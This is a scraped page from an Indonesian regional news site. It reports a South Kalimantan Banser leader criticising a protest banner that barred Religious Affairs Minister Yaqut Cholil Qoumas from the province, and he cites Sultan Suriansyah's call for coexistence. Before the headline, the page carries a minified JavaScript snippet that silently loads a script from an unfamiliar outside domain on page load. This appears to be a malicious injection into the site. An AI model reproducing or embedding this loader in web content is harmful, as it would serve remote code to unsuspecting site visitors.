(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Banser Kalsel Soal Spanduk “Haram Yaqut Cholil Qoumas Berpijak di Tanah Kalsel”, Gusti Taufik: Ingat Pituah Sultan Suriansyah


KANALKALIMANTAN.COM, BANJARMASIN – Spanduk bertulisan “Yaqut Cholil Qoumas haram berpijak di Tanah Kalimantan Selatan”, terbentang saat aksi massa yang melakukan demo di Kantor Wilayah Kementerian Agama Provinsi Kalimantan Selatan, Jumat (4/3/2022).

Hal itu lantas menjadi sorotan bagi salah satu tokoh ormas Islam , yakni Kepala Satuan Koordinator Wilayah (Kasatkorwil) Barisan Ansor Serbaguna (Banser) Provinsi Kalimantan Selatan, Gusti Taufik Hidayat.

Gusti Taufik menyayangkan dengan adanya aksi massa yang mengharamkan Menteri Agama, Yaqut Cholil Qoumas berpijak ke tanah Kalimantan Selatan (Kalsel).

Menurutnya, semua orang berhak datang, silaturahmi, hidup dan tinggal di Bumi Allah Subhanahu wa Ta’ala, baik di Nusantara, maupun di Tanah Banjar.

 

 

Baca juga: Digencet Minyak Goreng Mahal, Usaha Kripik Rozaq Tutup Sementara

“Bahwa semua orang berhak datang, silaturahmi hidup dan tinggal di Bumi Allah Subhanahu wa Ta’ala di Nusantara, di Tanah Banjar,” ujar Kasatkorwil Banser Kalsel, Sabtu (5/3/2022) siang.

Dia berpendapat, massa yang melarang Yaqut Cholil Qoumas berpijak di Kalimantan Selatan tidak mempunyai kapasitas untuk mengharamkan Menteri Agama berpijak di wilayah Provinsi Kalsel.

“Kita orang Kalsel asli, dan apapun sukunya, agamanya, dan memegang teguh budaya, semua sama haknya berada di Tanah Banjar ini,” tegasnya.

Dia pun mengingatkan kepada warga Kalimantan Selatan agar mengedepankan Tabbayun kepada sumbernya dan yang lebih mengetahui tentang hal apapun itu, termasuk informasi yang tidak seutuhnya diterima.

“Kembali kita ingat bersama dalam menyikapi sesuatu akan Pituah Sultan Suriansyah yang terlahir pada masa kerajaan di tahun 1520-1540 Masehi. Pituah yang sangat khas dengan Kebanjaran dan menyentuh sanubari rakyat Banjar,” kata Gusti Taufik.

Baca juga: Kajari: Kemungkinan Ada Tersangka Lain Kasus Korupsi di DLH Kotabaru

“Wahai sekalian anak bangsa nang Biaju kah, Balandian kah, Dusun kah, Jawa kah, nang di sungai kah, atawa di gunung kah, kalian semua adalah banjaranku (rakyatku), hendaklah hidup damai di negeri dan dalam perlindungan ku,” tutup Gusti Taufik mengutip Pituah Sultan Suriansyah. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

40 menit ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

11 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

14 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

19 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

20 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

22 jam ago

This website uses cookies.